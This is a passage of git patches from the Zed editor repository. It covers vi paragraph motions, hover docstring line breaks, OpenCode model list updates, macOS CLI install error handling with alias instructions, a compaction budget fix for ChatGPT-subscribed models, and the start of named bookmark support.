@@ -1922,6 +1924,8 @@ impl Terminal {
             "H" => Some(ViMotion::High),
             "M" => Some(ViMotion::Middle),
             "L" => Some(ViMotion::Low),
+            "{" => Some(ViMotion::ParagraphUp),
+            "}" => Some(ViMotion::ParagraphDown),
             _ => None,
         };
 

From 91ff38aee2cd774e49dc70c4d6a1a7a4b6c9d27b Mon Sep 17 00:00:00 2001
From: Darshan Sithan <40591538+darsh0230@users.noreply.github.com>
Date: Mon, 22 Jun 2026 23:05:10 +0530
Subject: [PATCH 038/772] editor: Fix Python docstring formatting in hover
 popovers (#59480)

# Objective

Fixes #59426

Python (and possible others like JS/TS ) docstrings in hover popovers
currently have broken indentation and alignment. This happens because
markdown soft breaks (single newlines) are parsed and replaced with
spaces by default. This collapses multi-line Python docstrings into
single wraps, ruining code example layouts and line-wrapped formatting.

## Solution

Configure the `MarkdownStyle` returned by `hover_markdown_style` in
`crates/editor/src/hover_popover.rs` to treat soft breaks as hard breaks
(`soft_break_as_hard_break: true`). This ensures single newlines in
docstrings are preserved and rendered correctly in the hover popover.

## Testing

- Verified hover popovers locally on Python methods/classes to confirm
that multi-line docstring indentation and alignment are preserved.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- Fixed Python and Markdown docstring formatting/alignment in hover
popovers.

---------

Co-authored-by: Martin Ye <martin@zed.dev>
---
 crates/editor/src/hover_popover.rs | 41 ++++++++++++++++++++++++++++++
 1 file changed, 41 insertions(+)

diff --git a/crates/editor/src/hover_popover.rs b/crates/editor/src/hover_popover.rs
index c915232ba5f69b..96aeae19933de9 100644
--- a/crates/editor/src/hover_popover.rs
+++ b/crates/editor/src/hover_popover.rs
@@ -739,6 +739,7 @@ pub fn hover_markdown_style(window: &Window, cx: &App) -> MarkdownStyle {
             .mt(rems(1.))
             .mb_0(),
         table_columns_min_size: true,
+        soft_break_as_hard_break: true,
         ..Default::default()
     }
 }
@@ -1275,6 +1276,46 @@ mod tests {
         cx.read(|cx: &App| -> u64 { EditorSettings::get_global(cx).hover_popover_delay.0 })
     }
 
+    #[gpui::test]
+    fn test_hover_markdown_preserves_soft_breaks(cx: &mut gpui::TestAppContext) {
+        init_test(cx, |_| {});
+
+        let cx = cx.add_empty_window();
+        let text = concat!(
+            "class super(object)\n",
+            "|  super(type) -> unbound super object\n",
+            "|  super(type, obj) -> bound super object"
+        );
+        let markdown = cx.new(|cx| Markdown::new(text.into(), None, None, cx));
+        cx.run_until_parked();
+
+        let rendered = MarkdownElement::rendered_text(markdown, cx, hover_markdown_style);
+
+        // The two soft breaks must render as real newline characters rather
+        // than being collapsed into spaces.
+        assert_eq!(
+            rendered.matches('\n').count(),
+            2,
+            "expected two hard line breaks, got {rendered:?}"
+        );
+        let lines: Vec<&str> = rendered.split('\n').collect();
+        assert_eq!(
+            lines,
+            [
+                "class super(object)",
+                "|  super(type) -> unbound super object",
+                "|  super(type, obj) -> bound super object",
+            ]
+        );
+        // The two spaces after each `|` continuation marker are preserved verbatim.
+        assert!(lines[1].starts_with("|  super"));
+        assert!(lines[2].starts_with("|  super"));
+        // No tabs are introduced anywhere in the rendered output.
+        assert!(!rendered.contains('\t'));
+        // And the full rendering matches the source exactly.
+        assert_eq!(rendered, text);
+    }
+
     impl InfoPopover {
         fn get_rendered_text(&self, cx: &gpui::App) -> String {
             let mut rendered_text = String::new();

From 8f438e6612da4d1c285f23637171810690ac99b8 Mon Sep 17 00:00:00 2001
From: Kunall Banerjee <hey@kimchiii.space>
Date: Mon, 22 Jun 2026 14:12:49 -0400
Subject: [PATCH 039/772] opencode: Model updates (#59236)

Fresh new updates from OpenCode dropped recently.

Closes #59225.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [ ] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [ ] Performance impact has been considered and is acceptable

Release Notes:

- Added GLM 5.2 + Kimi K2.7 Code (OpenCode Go) and DeepSeek V4 Pro
(OpenCode Zen); removed/restricted models deprecated upstream (MiniMax
M3 Free removed; GLM 5, Kimi K2.5, MiniMax M2.5 now Zen-only)
---
 crates/opencode/src/opencode.rs | 50 ++++++++++++++++++++-------------
 1 file changed, 30 insertions(+), 20 deletions(-)

diff --git a/crates/opencode/src/opencode.rs b/crates/opencode/src/opencode.rs
index 75e40f931aefd8..43a09777ee168e 100644
--- a/crates/opencode/src/opencode.rs
+++ b/crates/opencode/src/opencode.rs
@@ -133,18 +133,20 @@ pub enum Model {
     Glm5,
     #[serde(rename = "glm-5.1")]
     Glm5_1,
+    #[serde(rename = "glm-5.2")]
+    Glm5_2,
     #[serde(rename = "grok-build-0.1")]
     GrokBuild0_1,
     #[serde(rename = "kimi-k2.5")]
     KimiK2_5,
     #[serde(rename = "kimi-k2.6")]
     KimiK2_6,
+    #[serde(rename = "kimi-k2.7-code")]
+    KimiK2_7Code,
     #[serde(rename = "minimax-m2.7")]
     MiniMaxM2_7,
     #[serde(rename = "minimax-m3")]
     MiniMaxM3,
-    #[serde(rename = "minimax-m3-free")]
-    MiniMaxM3Free,
     #[serde(rename = "mimo-v2.5-pro")]
     MimoV2_5Pro,
     #[serde(rename = "mimo-v2.5")]
@@ -182,11 +184,11 @@ impl Model {
     }
 
     pub fn default_go() -> Self {
-        Self::KimiK2_5
+        Self::KimiK2_6
     }
 
     pub fn default_go_fast() -> Self {
-        Self::MiniMaxM2_5
+        Self::MiniMaxM2_7
     }
 
     pub fn default_free() -> Self {
@@ -200,27 +202,27 @@ impl Model {
     pub fn available_subscriptions(&self) -> &'static [OpenCodeSubscription] {
         match self {
             // Models available in both Zen and Go
-            Self::Glm5
-            | Self::Glm5_1
+            Self::Glm5_1
             | Self::KimiK2_6
-            | Self::KimiK2_5
-            | Self::MiniMaxM2_5
             | Self::MiniMaxM2_7
+            | Self::DeepSeekV4Pro
             | Self::DeepSeekV4Flash
             | Self::Qwen3_6Plus => &[OpenCodeSubscription::Zen, OpenCodeSubscription::Go],
 
             // Go-only models
             Self::MimoV2_5Pro
             | Self::MimoV2_5
-            | Self::DeepSeekV4Pro
             | Self::Qwen3_7Plus
             | Self::Qwen3_7Max
+            | Self::KimiK2_7Code
+            | Self::Glm5_2
             | Self::MiniMaxM3 => &[OpenCodeSubscription::Go],
 
+            // Deprecated on Go (per models.dev); still offered on Zen
+            Self::Glm5 | Self::KimiK2_5 | Self::MiniMaxM2_5 => &[OpenCodeSubscription::Zen],
+
             // Free models
-            Self::Nemotron3UltraFree | Self::BigPickle | Self::MiniMaxM3Free => {
-                &[OpenCodeSubscription::Free]
-            }
+            Self::Nemotron3UltraFree | Self::BigPickle => &[OpenCodeSubscription::Free],
 
             // Custom models get their subscription from settings, not from here
             Self::Custom { .. } => &[],
@@ -269,9 +271,11 @@ impl Model {
             Self::MiniMaxM2_5 => "minimax-m2.5",
             Self::Glm5 => "glm-5",
             Self::Glm5_1 => "glm-5.1",
+            Self::Glm5_2 => "glm-5.2",
             Self::GrokBuild0_1 => "grok-build-0.1",
             Self::KimiK2_5 => "kimi-k2.5",
             Self::KimiK2_6 => "kimi-k2.6",
+            Self::KimiK2_7Code => "kimi-k2.7-code",
             Self::MiniMaxM2_7 => "minimax-m2.7",
             Self::MiniMaxM3 => "minimax-m3",
             Self::MimoV2_5Pro => "mimo-v2.5-pro",
@@ -282,7 +286,6 @@ impl Model {
             Self::Qwen3_7Max => "qwen3.7-max",
             Self::BigPickle => "big-pickle",
             Self::Nemotron3UltraFree => "nemotron-3-ultra-free",
-            Self::MiniMaxM3Free => "minimax-m3-free",
 
             Self::Custom { name, .. } => name,
         }
@@ -327,9 +330,11 @@ impl Model {
             Self::MiniMaxM2_5 => "MiniMax M2.5",
             Self::Glm5 => "GLM 5",
             Self::Glm5_1 => "GLM 5.1",
+            Self::Glm5_2 => "GLM 5.2",
             Self::GrokBuild0_1 => "Grok Build 0.1",
             Self::KimiK2_5 => "Kimi K2.5",
             Self::KimiK2_6 => "Kimi K2.6",
+            Self::KimiK2_7Code => "Kimi K2.7 Code",
             Self::MiniMaxM2_7 => "MiniMax M2.7",
             Self::MiniMaxM3 => "MiniMax M3",
             Self::MimoV2_5Pro => "MiMo V2.5 Pro",
@@ -340,7 +345,6 @@ impl Model {
             Self::Qwen3_7Max => "Qwen3.7 Max",
             Self::BigPickle => "Big Pickle",
             Self::Nemotron3UltraFree => "Nemotron 3 Ultra Free",
-            Self::MiniMaxM3Free => "MiniMax M3 Free",
 
             Self::Custom {
                 name, display_name, ..
@@ -392,13 +396,15 @@ impl Model {
 
             Self::Qwen3_7Max | Self::Qwen3_7Plus => ApiProtocol::Anthropic,
 
-            Self::MiniMaxM3 | Self::MiniMaxM3Free => ApiProtocol::Anthropic,
+            Self::MiniMaxM3 => ApiProtocol::Anthropic,
 
             Self::Glm5
             | Self::Glm5_1
+            | Self::Glm5_2
             | Self::GrokBuild0_1
             | Self::KimiK2_5
             | Self::KimiK2_6
+            | Self::KimiK2_7Code
             | Self::MimoV2_5Pro
             | Self::MimoV2_5
             | Self::Qwen3_5Plus
@@ -418,10 +424,12 @@ impl Model {
             | Self::DeepSeekV4Flash
             | Self::KimiK2_5
             | Self::KimiK2_6
+            | Self::KimiK2_7Code
             | Self::MimoV2_5
             | Self::MimoV2_5Pro
             | Self::Glm5
             | Self::Glm5_1
+            | Self::Glm5_2
             | Self::MiniMaxM2_5
             | Self::MiniMaxM2_7
             | Self::Nemotron3UltraFree
@@ -466,7 +474,6 @@ impl Model {
             // OpenAI-compatible models
             Self::MiniMaxM2_7 => 204_800,
             Self::MiniMaxM3 => 512_000,
-            Self::MiniMaxM3Free => 200_000,
             Self::MiniMaxM2_5 => 204_800,
             Self::Glm5 | Self::Glm5_1 => {
                 if subscription == OpenCodeSubscription::Go {
@@ -475,7 +482,8 @@ impl Model {
                     204_800
                 }
             }
-            Self::KimiK2_6 | Self::KimiK2_5 => 262_144,
+            Self::Glm5_2 => 1_000_000,
+            Self::KimiK2_6 | Self::KimiK2_5 | Self::KimiK2_7Code => 262_144,
             Self::GrokBuild0_1 => 256_000,
             Self::MimoV2_5Pro => 1_048_576,
             Self::MimoV2_5 => 1_000_000,
@@ -532,7 +540,6 @@ impl Model {
             // OpenAI-compatible models
             Self::MiniMaxM2_7 => Some(131_072),
             Self::MiniMaxM3 => Some(131_072),
-            Self::MiniMaxM3Free => Some(32_000),
             Self::MiniMaxM2_5 => {
                 if subscription == OpenCodeSubscription::Go {
                     Some(65_536)
@@ -547,8 +554,10 @@ impl Model {
                     Some(131_072)
                 }
             }
+            Self::Glm5_2 => Some(131_072),
             Self::BigPickle => Some(32_000),
             Self::KimiK2_6 | Self::KimiK2_5 => Some(65_536),
+            Self::KimiK2_7Code => Some(262_144),
             Self::GrokBuild0_1 => Some(256_000),
             Self::Qwen3_7Max | Self::Qwen3_7Plus | Self::Qwen3_6Plus | Self::Qwen3_5Plus => {
                 Some(65_536)
@@ -606,19 +615,20 @@ impl Model {
 
             // OpenAI-compatible models with image support
             Self::KimiK2_6
+            | Self::KimiK2_7Code
             | Self::KimiK2_5
             | Self::GrokBuild0_1
             | Self::MimoV2_5
             | Self::Qwen3_5Plus
             | Self::Qwen3_6Plus
             | Self::Qwen3_7Plus
-            | Self::MiniMaxM3
-            | Self::MiniMaxM3Free => true,
+            | Self::MiniMaxM3 => true,
 
             // OpenAI-compatible models without image support
             Self::MiniMaxM2_5
             | Self::Glm5
             | Self::Glm5_1
+            | Self::Glm5_2
             | Self::MiniMaxM2_7
             | Self::MimoV2_5Pro
             | Self::DeepSeekV4Pro

From 39bba3c7ecd55ea1d439a33fd048576e44fdb63c Mon Sep 17 00:00:00 2001
From: Conrad Irwin <conrad.irwin@gmail.com>
Date: Mon, 22 Jun 2026 12:20:57 -0600
Subject: [PATCH 040/772] install_cli: Show notification instead of failing CLI
 install (#59575)

Closes #10065
Closes #42293

Release Notes:

- Improved error handling and documentation when Zed cannot install the
CLI on macOS
---
 Cargo.lock                                   |  1 +
 crates/install_cli/Cargo.toml                |  1 +
 crates/install_cli/src/install_cli_binary.rs | 77 +++++++++++++++-----
 docs/src/macos.md                            | 26 +++++++
 4 files changed, 88 insertions(+), 17 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index b38b1ffe7838ad..f4fdccb084f6ab 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -9098,6 +9098,7 @@ dependencies = [
  "anyhow",
  "client",
  "gpui",
+ "log",
  "release_channel",
  "smol",
  "util",
diff --git a/crates/install_cli/Cargo.toml b/crates/install_cli/Cargo.toml
index 1eede025e50a23..cc849d11c0eb4d 100644
--- a/crates/install_cli/Cargo.toml
+++ b/crates/install_cli/Cargo.toml
@@ -18,6 +18,7 @@ test-support = []
 anyhow.workspace = true
 client.workspace = true
 gpui.workspace = true
+log.workspace = true
 release_channel.workspace = true
 smol.workspace = true
 util.workspace = true
diff --git a/crates/install_cli/src/install_cli_binary.rs b/crates/install_cli/src/install_cli_binary.rs
index ee8b8b2b669b05..a88816ace138f9 100644
--- a/crates/install_cli/src/install_cli_binary.rs
+++ b/crates/install_cli/src/install_cli_binary.rs
@@ -1,10 +1,11 @@
 use super::register_zed_scheme;
-use anyhow::{Context as _, Result};
+use anyhow::Result;
 use gpui::{AppContext as _, AsyncApp, Context, PromptLevel, Window, actions};
 use release_channel::ReleaseChannel;
 use std::ops::Deref;
 use std::path::{Path, PathBuf};
 use util::ResultExt;
+use workspace::notifications::simple_message_notification::MessageNotification;
 use workspace::notifications::{DetachAndPromptErr, NotificationId};
 use workspace::{Toast, Workspace};
 
@@ -16,14 +17,20 @@ actions!(
     ]
 );
 
-async fn install_script(cx: &AsyncApp) -> Result<PathBuf> {
+const CANT_INSTALL_DOCS_URL: &str = "https://zed.dev/docs/macos#cant-install-cli";
+
+/// Attempts to install the CLI symlink. Returns the installed path on success,
+/// or `None` if the user dismissed the macOS administrator authentication
+/// prompt. Returns an error if the install could not be completed, most
+/// commonly because the user is not an admin.
+async fn install_script(cx: &AsyncApp) -> Result<Option<PathBuf>> {
     let cli_path = cx.update(|cx| cx.path_for_auxiliary_executable("cli"))?;
     let link_path = Path::new("/usr/local/bin/zed");
     let bin_dir_path = link_path.parent().unwrap();
 
     // Don't re-create symlink if it points to the same CLI binary.
     if smol::fs::read_link(link_path).await.ok().as_ref() == Some(&cli_path) {
-        return Ok(link_path.into());
+        return Ok(Some(link_path.into()));
     }
 
     // If the symlink is not there or is outdated, first try replacing it
@@ -34,12 +41,12 @@ async fn install_script(cx: &AsyncApp) -> Result<PathBuf> {
         .log_err()
         .is_some()
     {
-        return Ok(link_path.into());
+        return Ok(Some(link_path.into()));
     }
 
-    // The symlink could not be created, so use osascript with admin privileges
-    // to create it.
-    let status = smol::process::Command::new("/usr/bin/osascript")
+    // The symlink could not be created without escalating, so use osascript
+    // with admin privileges to create it.
+    let output = smol::process::Command::new("/usr/bin/osascript")
         .args([
             "-e",
             &format!(
@@ -52,13 +59,24 @@ async fn install_script(cx: &AsyncApp) -> Result<PathBuf> {
                 link_path.to_string_lossy(),
             ),
         ])
-        .stdout(smol::process::Stdio::inherit())
-        .stderr(smol::process::Stdio::inherit())
         .output()
-        .await?
-        .status;
-    anyhow::ensure!(status.success(), "error running osascript");
-    Ok(link_path.into())
+        .await?;
+
+    if output.status.success() {
+        return Ok(Some(link_path.into()));
+    }
+
+    // osascript reports "User canceled." (error -128) when the administrator
+    // prompt is dismissed. Treat that as a cancellation rather than a failure
+    // so we don't show an error the user already chose to avoid.
+    let stderr = String::from_utf8_lossy(&output.stderr);
+    if stderr.contains("User canceled") || stderr.contains("-128") {
+        return Ok(None);
+    }
+
+    // The privileged write failed, most commonly because the user is not an
+    // admin.
+    anyhow::bail!("error running osascript: {}", stderr.trim());
 }
 
 pub fn install_cli_binary(window: &mut Window, cx: &mut Context<Workspace>) {
@@ -75,9 +93,34 @@ pub fn install_cli_binary(window: &mut Window, cx: &mut Context<Workspace>) {
             cx.background_spawn(prompt).detach();
             return Ok(());
         }
-        let path = install_script(cx.deref())
-            .await
-            .context("error creating CLI symlink")?;
+        let path = match install_script(cx.deref()).await {
+            Ok(Some(path)) => path,
+            // The user dismissed the administrator prompt; nothing to do.
+            Ok(None) => return Ok(()),
+            Err(error) => {
+                log::error!("failed to install zed CLI: {error:#}");
+                workspace.update(cx, |workspace, cx| {
+                    struct CliInstallFailed;
+
+                    workspace.show_notification(
+                        NotificationId::unique::<CliInstallFailed>(),
+                        cx,
+                        |cx| {
+                            cx.new(|cx| {
+                                MessageNotification::new(
+                                    "You can add `zed` to your PATH manually.",
+                                    cx,
+                                )
+                                .with_title("Couldn't install the Zed CLI")
+                                .more_info_message("Show me how")
+                                .more_info_url(CANT_INSTALL_DOCS_URL)
+                            })
+                        },
+                    );
+                })?;
+                return Ok(());
+            }
+        };
 
         workspace.update_in(cx, |workspace, _, cx| {
             struct InstalledZedCli;
@@ -97,5 +140,5 @@ pub fn install_cli_binary(window: &mut Window, cx: &mut Context<Workspace>) {
         register_zed_scheme(cx).await.log_err();
         Ok(())
     })
-    .detach_and_prompt_err("Error installing zed cli", window, cx, |_, _, _| None);
+    .detach_and_prompt_err("Cannot install the Zed CLI", window, cx, |_, _, _| None);
 }
diff --git a/docs/src/macos.md b/docs/src/macos.md
index b9438185c67006..63cff6e9b3d2d9 100644
--- a/docs/src/macos.md
+++ b/docs/src/macos.md
@@ -104,6 +104,32 @@ If the `zed` command isn't available after installation:
 2. Try reinstalling the CLI via {#action cli::InstallCliBinary} in the command palette
 3. Open a new terminal window to reload your PATH
 
+### Can't install CLI {#cant-install-cli}
+
+{#action cli::InstallCliBinary} writes a `zed` symlink to `/usr/local/bin`, which requires administrator privileges. If your macOS account isn't in the `admin` group, Zed can't create that symlink and will report that it can't install the CLI automatically.
+
+Instead, you can add an alias pointing to the `cli` binary bundled inside the app. The path depends on where Zed is installed:
+
+```sh
+# Default install (Zed in /Applications)
+alias zed="/Applications/Zed.app/Contents/MacOS/cli"
+
+# User install (Zed in ~/Applications)
+alias zed="$HOME/Applications/Zed.app/Contents/MacOS/cli"
+
+# Preview build (Zed Preview in ~/Applications)
+alias zed="$HOME/Applications/Zed Preview.app/Contents/MacOS/cli"
+```
+
+Add the line that matches your install to your shell configuration file. Use `~/.zshrc` for Zsh (the default on modern macOS) or `~/.bashrc` for Bash.
+
+After you restart your shell, you will be able to use `zed` from your terminal:
+
+```sh
+zed .              # Open current folder
+zed file.txt       # Open a file
+```
+
 ### GPU or rendering issues
 
 Zed uses Metal for rendering. If you experience graphical glitches:

From 471fb15d7a2333cab3326b4bd9124d635ed96e55 Mon Sep 17 00:00:00 2001
From: Jiby Jose <hello@jiby.me>
Date: Mon, 22 Jun 2026 21:34:16 +0200
Subject: [PATCH 041/772] Fix compaction happening too early for
 chatgpt_subscribed (#59686)

# Objective

Fixes auto-compaction for ChatGPT Subscription / Codex-backed GPT models
by treating the Codex `context_window` as the usable context budget
instead of reserving an inferred `128k` output budget.

- Fixes #59555

## Solution

Zed previously reported `max_output_tokens = 128_000` for
`openai_subscribed` models. Generic agent code subtracts
`max_output_tokens` from `max_token_count` when computing the effective
input budget, so `openai_subscribed` models ended up with:

- `max_token_count = 272_000`
- `max_output_tokens = 128_000`
- effective compaction budget = `144_000`
- default `90%` threshold = `129_600`

## Testing

Tested with a heavy prompt to confirm that the auto compaction is indeed
now triggered at 90% (default)

<img width="385" height="183" alt="image"
src="https://github.com/user-attachments/assets/da569152-f687-4366-868a-a6559b948ce5"
/>

This made Zed compact around the halfway point of the actual Codex
context window.

Codex model metadata exposes `context_window = 272000` and does not
expose a `max_output_tokens` cap. Codex also compacts against the
context window directly, rather than subtracting an output reservation.
The subscribed backend also rejects the `max_output_tokens` request
parameter, so Zed already omits it when serializing requests.

This change makes `openai_subscribed` report no known max output token
cap, which matches also that split token display is disabled for these
models.


## Self-Review Checklist:

- [X] I've reviewed my own diff for quality, security, and reliability
- [X] Unsafe blocks (if any) have justifying comments
- [X] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [X] Tests cover the new/changed behavior
- [X] Performance impact has been considered and is acceptable

---

Release Notes:

- agent: Fix compaction happening too early when using the ChatGPT
subscription provider.
---
 .../src/provider/openai_subscribed.rs                | 12 +++++++-----
 1 file changed, 7 insertions(+), 5 deletions(-)

diff --git a/crates/language_models/src/provider/openai_subscribed.rs b/crates/language_models/src/provider/openai_subscribed.rs
index 66febda01b323d..3cddb57d7e5c81 100644
--- a/crates/language_models/src/provider/openai_subscribed.rs
+++ b/crates/language_models/src/provider/openai_subscribed.rs
@@ -322,15 +322,17 @@ impl ChatGptModel {
     }
 
     fn max_token_count(&self) -> u64 {
-        // All Codex-supported models share the backend's 272K input cap, even
-        // when the raw model exposes a larger context window via the public
-        // API (e.g. gpt-5.4 has max_context_window 1M, but the Codex backend
-        // caps it at 272K). Source: openai/codex models-manager/models.json.
+        // All Codex-supported models use a 272K context window in the Codex
+        // backend, even when the raw model exposes a larger context window via the
+        // public API (e.g. gpt-5.4 has max_context_window 1M, but Codex uses
+        // context_window 272K). Source: openai/codex models-manager/models.json.
         272_000
     }
 
     fn max_output_tokens(&self) -> Option<u64> {
-        Some(128_000)
+        // Codex model metadata does not expose a max output token cap for these
+        // models. Source: openai/codex models-manager/models.json.
+        None
     }
 
     fn supports_images(&self) -> bool {

From f6bfa0915fe22bca6ab725013dca01aced30a3b1 Mon Sep 17 00:00:00 2001
From: guopenghui <guopeng_hui@126.com>
Date: Tue, 23 Jun 2026 04:47:44 +0800
Subject: [PATCH 042/772] Add named bookmark support (#57491)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Adds support for named bookmarks while preserving the existing unnamed
bookmark workflow.

Main changes:
- Keeps `ToggleBookmark` as the quick unnamed bookmark action.
- Adds `ToggleNamedBookmark`, which prompts for a bookmark name when
adding a new bookmark and removes an existing bookmark on the same line,
including unnamed ones.
- Adds `EditBookmark` support for renaming existing bookmarks.
- Persists bookmark names in workspace storage.
- Adds a project bookmarks picker that supports filtering by bookmark
name and relative path, with highlighted matches.
- Updates bookmark storage and tests to carry bookmark names through
serialization, restoration, navigation, and project-level listing.

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Closes #ISSUE

Video
toggle:


https://github.com/user-attachments/assets/a725b9cf-ac37-4ebc-85cc-ee820452c043

rename:


https://github.com/user-attachments/assets/a6d0d0c1-511b-4fb7-ae5d-22c55d1a075f


Release Notes:

- Add named bookmark support

---------

Co-authored-by: Yara 🏳️‍⚧️ <git@yara.blue>
---
 crates/editor/src/actions.rs                  |   2 +
 crates/editor/src/bookmarks.rs                | 207 +++++++++++--
 crates/editor/src/editor.rs                   | 213 +++++++++-----
 crates/editor/src/editor_tests.rs             | 272 +++++++++++++++---
 crates/editor/src/element.rs                  |   1 +
 crates/project/src/bookmark_store.rs          | 136 ++++++---
 .../tests/integration/bookmark_store.rs       |  75 ++++-
 crates/workspace/src/persistence.rs           |  28 +-
 8 files changed, 750 insertions(+), 184 deletions(-)

diff --git a/crates/editor/src/actions.rs b/crates/editor/src/actions.rs
index 2f7ee8aea56a49..270edbed1d18d7 100644
--- a/crates/editor/src/actions.rs
+++ b/crates/editor/src/actions.rs
@@ -856,6 +856,8 @@ actions!(
         Backtab,
         /// Toggles a bookmark at the current line.
         ToggleBookmark,
+        /// Edits the bookmark's label at the current line.
+        EditBookmark,
         /// Toggles a breakpoint at the current line.
         ToggleBreakpoint,
         /// Toggles the case of selected text.
diff --git a/crates/editor/src/bookmarks.rs b/crates/editor/src/bookmarks.rs
index fe047e7fa18c22..e2d1c570d4ea39 100644
--- a/crates/editor/src/bookmarks.rs
+++ b/crates/editor/src/bookmarks.rs
@@ -1,6 +1,7 @@
 use std::ops::Range;
 
 use gpui::Entity;
+use language::Buffer;
 use multi_buffer::{Anchor, MultiBufferOffset, MultiBufferSnapshot, ToOffset as _};
 use project::{Project, bookmark_store::BookmarkStore};
 use rope::Point;
@@ -11,11 +12,30 @@ use workspace::{Workspace, searchable::Direction};
 
 use crate::display_map::DisplayRow;
 use crate::{
-    Editor, GoToNextBookmark, GoToPreviousBookmark, MultibufferSelectionMode, SelectionEffects,
-    ToggleBookmark, ViewBookmarks, scroll::Autoscroll,
+    EditBookmark, Editor, GoToNextBookmark, GoToPreviousBookmark, MultibufferSelectionMode,
+    SelectionEffects, ToggleBookmark, ViewBookmarks, scroll::Autoscroll,
 };
 
+#[derive(Clone, Debug)]
+struct BookmarkTarget {
+    buffer: Entity<Buffer>,
+    anchor: Anchor,
+    buffer_anchor: text::Anchor,
+}
+
 impl Editor {
+    fn bookmark_exists_for_target(
+        bookmark_store: &Entity<BookmarkStore>,
+        target: &BookmarkTarget,
+        cx: &mut Context<Self>,
+    ) -> bool {
+        bookmark_store.update(cx, |bookmark_store, cx| {
+            bookmark_store
+                .find_bookmark(&target.buffer, target.buffer_anchor, cx)
+                .is_some()
+        })
+    }
+
     pub fn set_show_bookmarks(&mut self, show_bookmarks: bool, cx: &mut Context<Self>) {
         self.show_bookmarks = Some(show_bookmarks);
         cx.notify();
@@ -41,6 +61,9 @@ impl Editor {
         selections.sort_by_key(|s| s.head());
         selections.dedup_by_key(|s| s.head().row);
 
+        let mut exist_targets: Vec<BookmarkTarget> = vec![];
+        let mut absent_targets: Vec<BookmarkTarget> = vec![];
+
         for selection in &selections {
             let head = selection.head();
             let multibuffer_anchor = multi_buffer_snapshot.anchor_before(Point::new(head.row, 0));
@@ -50,25 +73,53 @@ impl Editor {
             {
                 let buffer_id = buffer_anchor.buffer_id;
                 if let Some(buffer) = project.read(cx).buffer_for_id(buffer_id, cx) {
-                    bookmark_store.update(cx, |store, cx| {
-                        store.toggle_bookmark(buffer, buffer_anchor, cx);
-                    });
+                    let target = BookmarkTarget {
+                        buffer,
+                        anchor: multibuffer_anchor,
+                        buffer_anchor,
+                    };
+
+                    if Self::bookmark_exists_for_target(&bookmark_store, &target, cx) {
+                        exist_targets.push(target);
+                    } else {
+                        absent_targets.push(target);
+                    }
                 }
             }
         }
 
+        if absent_targets.is_empty() {
+            // All cursors are on existing bookmarks, remove all bookmarks.
+            self.toggle_bookmarks(exist_targets, String::new(), cx);
+        } else {
+            // Only add new ones and leave existing ones unchanged.
+            self.add_toggle_bookmark_blocks(absent_targets, bookmark_store, window, cx);
+        }
+
         cx.notify();
     }
 
-    pub fn toggle_bookmark_at_row(&mut self, row: DisplayRow, cx: &mut Context<Self>) {
-        let Some(bookmark_store) = &self.bookmark_store else {
-            return;
-        };
+    pub fn toggle_bookmark_at_row(
+        &mut self,
+        row: DisplayRow,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
         let display_snapshot = self.display_snapshot(cx);
         let point = display_snapshot.display_point_to_point(row.as_display_point(), Bias::Left);
         let buffer_snapshot = self.buffer.read(cx).snapshot(cx);
         let anchor = buffer_snapshot.anchor_before(point);
 
+        self.toggle_bookmark_at_anchor(anchor, window, cx);
+    }
+
+    pub fn toggle_bookmark_at_anchor(
+        &mut self,
+        anchor: Anchor,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        let buffer_snapshot = self.buffer.read(cx).snapshot(cx);
         let Some((position, _)) = buffer_snapshot.anchor_to_buffer_anchor(anchor) else {
             return;
         };
@@ -76,30 +127,140 @@ impl Editor {
             return;
         };
 
-        bookmark_store.update(cx, |bookmark_store, cx| {
-            bookmark_store.toggle_bookmark(buffer, position, cx);
-        });
+        let Some(bookmark_store) = self.bookmark_store.clone() else {
+            return;
+        };
+
+        let target = BookmarkTarget {
+            buffer,
+            anchor,
+            buffer_anchor: position,
+        };
+        if Self::bookmark_exists_for_target(&bookmark_store, &target, cx) {
+            bookmark_store.update(cx, |bookmark_store, cx| {
+                bookmark_store.toggle_bookmark(target.buffer, position, String::new(), cx);
+            });
+        } else {
+            self.add_toggle_bookmark_blocks(vec![target], bookmark_store, window, cx)
+        }
 
         cx.notify();
     }
 
-    pub fn toggle_bookmark_at_anchor(&mut self, anchor: Anchor, cx: &mut Context<Self>) {
-        let Some(bookmark_store) = &self.bookmark_store else {
+    pub fn edit_bookmark(&mut self, _: &EditBookmark, window: &mut Window, cx: &mut Context<Self>) {
+        let snapshot = self.snapshot(window, cx);
+        let multi_buffer_snapshot = snapshot.buffer_snapshot();
+        let selection = self
+            .selections
+            .newest::<Point>(&snapshot.display_snapshot)
+            .head();
+        let anchor = multi_buffer_snapshot.anchor_before(Point::new(selection.row, 0));
+        self.edit_bookmark_at_anchor(anchor, window, cx);
+    }
+
+    pub fn edit_bookmark_at_anchor(
+        &mut self,
+        anchor: Anchor,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
